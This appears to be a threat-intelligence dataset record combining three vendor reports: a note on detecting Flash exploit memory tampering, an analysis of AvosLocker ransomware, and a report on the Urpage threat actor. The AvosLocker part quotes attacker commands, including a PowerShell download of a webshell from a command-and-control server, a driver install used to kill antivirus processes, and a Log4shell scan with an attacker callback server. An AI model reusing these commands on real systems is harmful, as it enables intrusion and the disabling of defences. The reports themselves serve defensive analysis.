mrmoor/cyber-threat-intelligence huggingface dataset:
Although we are not aware of any attacks using this technique, these signatures have proven effective in our testing against code publicly available on the Internet.  When we take a closer look at the three exploits in our blog post last month, we see that various exploit techniques are based on a singular condition, which is arbitrary memory access.
Only when attackers have the right to read/write any address can they utilize either Flash or ActiveX methods to get code execution.
If we went even further, all three vulnerabilities are Use-After-Free bugs.
The three vulnerabilities each contain code to alter a user-controlled address, and the code can be distilled down to the following operations:
Here, xyz indicates a user-controlled address that contains the length of a vector object or length of an Int32Array.
Using these operations, attackers are able to modify the length values to create an object with an incorrect size, which will allow for read and write operations to occur in memory that is not part of the vector object.
The attackers can then use this object to perform further operations such as modification of security flag in ActiveX.  To prevent such attacks, a better idea is to detect if an arbitrary address is accessed during execution.
In WildFire, we added modules for web browser scripts and third party plugins such as Flash.
One such module leverages the fact that the length of a vector object is always consistent with memory allocation, which means we can deduce the memory usage from the sum of the length of all allocated vectors.
If the calculated value does not match the real value, it indicates some of the vector objects may have been modified.
Using this method, we are able to provide length checking for Flash vector objects.
This module validates the accessing behavior at runtime.
If the length were suspicious, the detection module stops the malicious operation.
Through our enterprise security platform, including IPS and WildFire, we continue to innovate and prevent advanced exploitation techniques.
Leave a comment below let us know what you think.
We found samples of AvosLocker ransomware that makes use of a legitimate driver file to disable antivirus solutions and detection evasion.
While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys).
In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.
Infection chain      Figure 1. AvosLocker infection chain      According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:      Figure 2.
The ADSS exploit abusing CVE-2021-40539     Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used.
However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539.
The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.
Mapping the infection
The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server.
Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process.
Figure 3. Remotely executing an HTA file from the C&C server.
Screenshots taken from Trend Micro Vison One.
Figure 4. HTA file connecting to the C&C
A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file.
The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.
Obfuscated PowerShell script contains a shellcode
The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide >.
According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker.
The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.
Gather system information     The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.
Figure 7. Executed with the /domain argument to collect username information      Figure 8.
query user information for session data
The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.
Figure 9. The PowerShell downloading and installing AnyDeskMSI
We observed that a new user account was created, added to the current domain, and included in the administrator group.
This ensures the attacker can have administrative rights to the infected system.
The attackers also checked the running processes in the system via TaskList to check for antivirus processes running in the infiltrated system.
Figure 10. Creating a new account with admin rights      Figure 11. Checking for antivirus processes running     During the scan, we observed an attempt to terminate security products initiated via TaskKill.
Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.
Terminating security products running     Tools and functions
Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products.
The tools transferred using AnyDesk are:  Netscan: To scan for other endpoints Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints Hacking tools Mimikatz and Impacket: For lateral movement PDQ deploy: For mass deployment of malicious script to multiple endpoints Aswarpot.sys: For disabling defense solutions.
We noted that it can disable a number of antivirus products, previously identified by Aon’s researchers.
Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk
We found an Avast anti-rootkit driver installed as service 'asWarPot.sys' using the command sc.exe  create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel.
It installs the driver file in preparation for disabling the running antivirus product.
We noted the unusual use of cmd.exe for execution of the file.
Figure 14.
Executing the anti-rootkit driver in the system
Mimikatz components were also copied to the affected machine via AnyDeskMSI.
However, these components were detected and deleted.
Figure 15.
Detecting and deleting Mimikatz      We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver).
A list of security product processes was supplied and subsequently terminated by the driver.      Figure 16.
terminating the security products found running in the compromised system
Verification: Manual replication of antivirus disabling routine
We manually replicated the routine and commands for disabling the defense solutions to further look into the routine.
Figure 17 shows the list of processes that the routine searches on infection :  EndpointBasecamp.exe Trend Micro Endpoint Basecamp ResponseService.exe PccNTMon.exe SupportConnector.exe AOTAgent.exe CETASvc.exe CETASvc iVPAgent.exe tmwscsvc.exe TMResponse AOTAgentSvc TMBMServer iVPAgent Trend Micro Web Service Communicator Tmccsf Tmlisten Ntrtscan TmWSCSvc       Figure 17.
Searching for processes     We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.
Driver file preparing to disable an antivirus product     The DeviceIoControl function is used to execute parts of the driver.
In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above.
Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.
Figure 19.
DeviceIoControl as an argument with the current process ID
Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case.
Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.
Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).
Other executions and lateral movement
After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.
Figure 21. Execution of Mimikatz (above) and Impacket via C:\temp\wmiexec.exe (below)
We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.
Figure 22. XenArmor password recovery tool execution
We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network.
They used the command nmap  --script log4shell.nse --script-args log4shell.waf-bypass=true --script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx, and set the callback server to the attacker group C&C server.       Figure 23.
Checking for log4shell     We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.
Figure 24. Running more system network configuration discovery scans
Deploying across the network We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.
Figure 25. Deploying malicious batch scripts to other endpoints     The deployed batch script has the following commands:  Disable Windows Update and Microsoft Defender       Figure 26. Disable Microsoft defense services      Prevents safeboot execution of security products       Figure 27. Prevent security products’ execution      Create new administrator account       Figure 28. Create new account      Add the AutoStart mechanism for the AvosLocker executable (update.exe)       Figure 29. Add Autostart for ransomware executable      Disables legal notice caption       Figure 30. Disable legal notice      Set safeboot with networking and disables Windows Error Recovery and reboot       Figure 31. Setting and disabling network and specific Windows functions     Conclusion
While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it.
We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones.
In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).
This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice.
Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.
Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks.
Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence
grows in sophistication.
In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.
However, and specific to this instance, the attempt to kill an antivirus product such as this variant’s TaskKill can also be foiled.
In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine.
The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.
Avast responded to our notification with this statement: "We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021.
We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can't be loaded to memory.
The below example shows that the blocking works (output from the "sc start" command):
(SC) StartService FAILED 1275:                This driver has been blocked from loading
The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft's security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.
All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.
For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program."
Indicators of Compromise (IOCs)       File SHA256 Detection Malicious batch file component a5ad3355f55e1a15baefea83ce81d038531af516f47716018b1dedf04f081f15
BAT.KILLAV.YACAA
AvosLocker executable 05ba2df0033e3cd5b987d66b6de545df439d338a20165c0ba96cde8a74e463e5 Ransom.Win32.AVOSLOCKER.SMYXBLNT Mimikatz executable (x32 and x64) 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 HackTool.Win64.MIMIKATZ.ZTJA e81a8f8ad804c4d83869d7806a303ff04f31cce376c5df8aada2e9db2c1eeb98 HackTool.Win32.Mimikatz.CNFW Log4shell Nmap NSE script ddcb0e99f27e79d3536a15e0d51f7f33c38b2ae48677570f36f5e92863db5a96 Backdoor.Win32.CVE202144228.YACAH Impacket tool 14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8 HackTool.Win32.Impacket.AA
Tags  Malware | Exploits & Vulnerabilities | Cyber Threats | APT & Targeted Attacks | Compliance & Risks | Endpoints | Ransomware | Network | Articles, News, Reports
In the process of monitoring changes in the threat landscape, we get a clearer insight into the way threat actors work behind the schemes.
In this case we dig deeper into the possible connection between cyberattacks by focusing on the similarities an unnamed threat actor shares with Confucius, Patchwork, and another threat actor called Bahamut.
For the sake of this report, we will call this unnamed threat actor “Urpage.”
What sets Urpage attacks apart is its targeting of InPage, a word processor for Urdu and Arabic languages.
However, its Delphi backdoor component, which it has in common with Confucius and Patchwork, and its apparent use of Bahamut-like malware, is what makes it more intriguing as it connects Urpage to these other known threats.
In our previous entry, we already covered the Delphi component in the context of the Confucius and Patchwork connection.
We mentioned Urpage as a third unnamed threat actor connected to the two.
This time, we look into Urpage to gain a deeper insight into the way several threat actors' actions intersect.
The Bahamut Link Fake websites
The link between Bahamut and Urpage can be best discussed by way of the multiple malicious Android samples that matched Bahamut's code and had C&C belonging to the Urpage infrastructure.
Some of these C&C websites also act as phishing sites that lure users into downloading these very applications.
The threat actor sets up these fake websites describing the application and linking to the Google Play Store to download it, like in the case of the malicious website, pikrpro[.]eu, seen below  Another sample website involved the use of a closely copied version of an existing website, with slight changes in the logo and options above the page.
The download links were also replaced to download the malicious Android application instead.
Original (top) and modified (bottom) website
Upon writing this entry, we’ve coordinated with Google to ensure that the malicious applications these C&C sites advertise are no longer available for download on the Google Play Store.
It is important to note however, that not all C&C websites for Urpage advertise malicious applications.
Some simply contain a random template with empty categories, likely as a ploy to hide its malicious activities.
Android targeting
As with Bahamut applications, once downloaded and executed, it showed multiple malicious features that deal with stealing information.
Some of these features are listed below.
Retrieves basic information like network information and MAC address from an infected phone SMS stealing Contacts stealing Audio recording GPS location retrieval Steals files with the specific extensions, although not all samples target these extensions.
File type File extensions Document files .txt, .csv, .doc, .docx, .xls, .xlsx, .pdf WhatsApp databases .db.crypt5 to .db.crypt12 Geolocation related files .kml, .kmz,  .gmx, .aqm Audio files .mp3, .opus Videos .mp4, .amr, .wmv, .3gp, Pictures .jpeg, .jpg
Of note is one specific application that had a different purpose from the others.
This application has the same encryption routine as other Urpage applications.
Instead of stealing documents or images, it works on top of a modified version of the legitimate Threema, an end-to-end encrypted messaging application, to steal screenshots of messages.
This application has the same icon and label as the legitimate Threema.
Once launched, it drops a modified APK version of Threema and prompts the user to install the application.
The malicious application then hides its icon on the device but still runs in the background, while the modified Threema works like normal.
Unknown to the user, the code in the modified Threema allows it to take screenshots of itself every 10 seconds.
These images are stored in the location/sdcard/Android/data/ch.threema.app/DataData directory, while the “dropper” or the malicious application working in the background uploads the images to the C&C for the threat actor to access.
Figure 2. Comparison of legitimate Threema code (left) to the modified version (right) with the inserted code
Other activities
Aside from acting as a C&C and distributing Bahamut-like malware, some of these websites also serve as the host for other malicious documents.
These other activities further establish the link of Urpage — and consequently Bahamut — to other threat actors.
Take, for example, the previously mentioned pikrpro[.]eu.
This C&C website also acts as host not only for the malicious Android application but also for two other malicious documents listed here.
A malicious RTF file that exploits the CVE-2017-8750 and drops a malicious VB backdoor with C&C appswonder[.]info A malicious InPage file that exploits CVE-2017-12824 and drops two files, one non-malicious, and one malicious VB backdoor with C&C referfile[.]com  Talos recently reported both C&C domain names with one type of campaign that targets iOS and involves MDM, and another type using VB and Delphi backdoors.
This leads us back to the Confucius and Patchwork link.
The Confucius Link
In our previous entry, we already discussed how Confucius used the same Delphi file stealer as Urpage.
Digging into Urpage, we found another link—two malicious RTF files that exploit different vulnerabilities but download a similar script (detected as TROJ_POWLOAD.GAA) containing two base64-encoded URLs.
One of the URLs is for the decoy document, while the other one is for the payload.
One of the RTF files was found in a server related to Confucius (f1a54dca2fdfe59ec3f537148460364fb5d046c9b4e7db5fc819a9732ae0e063, detected as TROJ_CVE201711882.AG), while the other one (434d34c0502910c562f5c6840694737a2c82a8c44004fa58c7c457b08aac17bd,detected as Mal_CVE20170199-2) downloaded a VB Backdoor that pings back to twitck[.]com, a domain name belonging to Urpage.
The Patchwork Link Patchwork also uses the Delphi file stealer as a similarity with Urpage, which suggests the three groups are somehow related.
But this link is further fortified by the Android applications we found whose code is like that of Bahamut, with the C&C matching the usual name registration pattern of Patchwork’s group, as well as an infrastructure close to an old Patchwork domain.
Patchwork has also recently employed Android malware in its attacks, with its use of a customized version of AndroRAT.
The many similarities and connections show that threat actors do not work in isolation, and that attacks do not necessarily appear from out of nowhere.
This may even suggest that a single development team may be behind this attack — maybe a single paid group that has sold its tools and services to other groups with different goals and targets.
We’ve summarized all the mentioned findings in the table below.
Urpage Bahamut Confucius Patchwork "BioData" Delphi backdoor and file stealer X   X X VB backdoor X       Android "Bahamut-like" malware X X   X Custom Android malware     X   AndroRAT Android malware       X InPage malicious documents X   X   simply obfuscated HTA downloaders X   X   IOS malware X       Confucius malware     X   remote-access-c3 backdoor     X   Sneepy/Byebye shell malware     X   Python cloud filestealers     X   AllaKore RAT     X   Badnews malware       X QuasarRAT       X NDiskMonitor malware       X   Targets
We did not find Urpage victims in our telemetry, likely because of the targeted nature of these attacks.
However, the domains used by Urpage provided hints about its target.
For one, there is the domain pikrpro[.]eu and its subdomains—the islamicfinderfeedback[.]pikrpro[.]eu and the memrifilesforinfo[.]pikpro[.]eu.
Additionally, many of the files related to the Urpage domains are auto-extractable files that drop Delphi or VB backdoor and open a decoy document.
The decoy documents tell more about Urpage's possible targets, as it contains text from articles about the region of Kashmir.
The header for a sample document can be seen below.
The documents can also be image files with the same theme, as can be seen here.  Multiple Android applications further drive this notion, as they provide services based on the interests of users in that region.
They have a malicious application that provides services for religion, as well as popular sports in the region.
Figure 3. Malicious application for observing Ramadan  Figure 4.
Malicious application for cricket news Solutions and Mitigation Taking note of these similarities and connections can help organizations and users in their continued defense against Urpage, Bahamut, Confucius, and Patchwork.
The connection of Urpage to the other three threat actors demonstrate that cyberattacks don’t exist in silos and that it hints at a circulation of knowledge and technologies that help in the continuing evolution of different malicious campaigns.
Given this knowledge, organizations must be more vigilant in monitoring threats, as changes in one may mean that changes in others could follow.
Organizations can develop defenses against the social engineering component these four threat actors have in common.
Users should be able to identify the indicators of a social engineering campaign.
Paying close attention to the domain name of a website before performing any further action can also help mitigate threats, including threats like Urpage that have targeted victims.